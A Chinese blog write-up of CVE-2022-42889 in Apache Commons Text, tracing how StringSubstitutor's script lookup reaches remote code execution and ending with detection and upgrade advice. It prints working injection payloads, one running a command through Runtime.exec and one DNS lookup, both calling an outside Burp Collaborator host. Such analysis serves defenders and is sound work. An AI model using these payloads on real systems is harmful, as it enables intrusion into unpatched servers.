CVE-2022-42889 Apache Commons Text 漏洞

0x00 前言

所幸遇到,就简单看看,其中没有啥比较难的地方,仅做记录。10月13日的漏洞。
cve链接可以看下面这个:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889

git地址:
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

0x01 漏洞利用方式

写了一个简单的demo,先看利用结果,在一定条件下可以rce。基础payload用表达式注入的方式就行。

直接给payload的,懒得看图片再敲一遍${script:javascript:(java.lang.Runtime).getRuntime().exec('ping 97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net')}
在这里插入图片描述

0x02 原理简要分析

出现问题的点在StringSubstitutor的replace方法这。
在这里插入图片描述
接着往下跟:substitute,会进去进行解析循环
在这里插入图片描述
走到resolveVariable就会进行look的调用
在这里插入图片描述
在这里插入图片描述
因为找到StringSubstitutor调用的ScriptStringLookup
在这里插入图片描述
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);获取加载器
在这里插入图片描述
加载器差不多就是这些,也可以调试自己看。
在这里插入图片描述
最后调用return Objects.toString(scriptEngine.eval(script), (String)null);进行执行。

除了可以使用script:也可以使用dns:,http:

dns底层:这个可以用来测试

payload
${dns:97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net}
在这里插入图片描述

http底层:
在这里插入图片描述

0x03 检测和防护

并不是版本低就一定会触发这个漏洞,主要还是通过StringSubstitutor进行触发,StrSubstitutor是不会触发的

StrSubstitutor这里只有这个操作。
在这里插入图片描述
1、检测方式 全局搜索StringSubstitutor的调用。目前已知,不排除其他利用方式

防护可参考:https://github.com/apache/commons-text/releases/tag/rel%2Fcommons-text-1.10.0

2、直接升级1.10.1就行

补充

Apache Commons Text

Apache Commons Text是Apache软件基金会中的一个项目,提供了许多有用的文本处理库,包括字符串操作、文本格式化、密码加密和随机字符串生成等。

Apache Commons Text库的主要目标是提供高效、可靠和易于使用的文本处理库,帮助开发人员更轻松地构建文本相关的应用程序。它是基于Apache Commons Lang项目的,在Lang库的基础上提供了更多的文本处理功能。

Apache Commons Text的主要功能包括:

  • 字符串操作:包括去除空格、去除重复字符、字符串分割、大小写转换等;
  • 文本格式化:支持日期、数字、货币等文本格式化;
  • 密码加密:提供多种加密和哈希算法,包括MD5、SHA、BCrypt等;
  • 随机字符串生成:支持生成各种类型的随机字符串,包括数字、字母、符号等。

Apache Commons Text提供了很多实用的文本处理工具,能够帮助开发人员更高效地处理文本数据。

StrSubstitutor

StrSubstitutor是一个Apache Commons Lang库中的Java类,用于在字符串中进行值替换。它可以将给定的字符串模板中的占位符替换为特定的值,例如属性文件中的变量或Map中的键值对。使用StrSubstitutor可以使字符串替换更加容易和可读,并且可以避免手动操作字符串的缺点,例如错误的字符串拼写和混淆的变量顺序。

StringSubstitutor

StringSubstitutor 是一个 Java 库,用于执行字符串的模板化替换。它可以用于替换属性文件、XML 文件、配置文件以及任何其他文本文件中的变量。StringSubstitutor 可以快速地将字符串中指定格式的变量替换为指定的值,支持多种替换方式,如:

  1. 通过 Map 替换变量
  2. 通过 JavaBean 替换变量
  3. 通过回调函数替换变量

StringSubstitutor 提供了多种定界符,如 key、{key}、key{key:defaultValue} 等。它可以轻松处理不同的变量替换需求,并且可以自定义定界符、转义字符等。

StringSubstitutor 的使用非常简单,只需要创建一个实例,设置替换变量的方式和模板字符串,就可以进行替换操作了。由于 StringSubstitutor 使用了模板缓存机制,所以多次替换同一模板字符串时,性能也非常高效。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值